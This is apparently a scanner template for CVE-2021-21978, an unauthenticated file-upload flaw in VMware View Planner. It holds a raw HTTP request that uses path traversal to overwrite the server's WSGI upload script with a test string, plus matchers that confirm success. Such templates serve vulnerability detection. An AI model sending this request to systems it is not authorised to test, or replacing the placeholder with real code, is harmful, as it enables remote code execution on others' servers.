id: CVE-2021-21978 info: name: VMware View Planner <4.6 SP1- Remote Code Execution author: dwisiswant0 severity: critical description: | VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application. An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted file leading to remote code execution within the logupload container. reference: - https://twitter.com/osama_hroot/status/1367258907601698816 - https://nvd.nist.gov/vuln/detail/CVE-2021-21978 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-21978 cwe-id: CWE-434 tags: cve,cve2021,vmware,rce requests: - raw: - | POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS Accept: text/html Referer: {{BaseURL}} Connection: close ------WebKitFormBoundarySHHbUsfCoxlX1bpS Content-Disposition: form-data; name="logfile"; filename="" Content-Type: text/plain POC_TEST ------WebKitFormBoundarySHHbUsfCoxlX1bpS matchers-condition: and matchers: - type: status status: - 200 - type: word words: - "File uploaded successfully." part: body - type: dsl dsl: - "len(body) == 28" # length of "\nFile uploaded successfully." # Enhanced by mp on 2022/05/05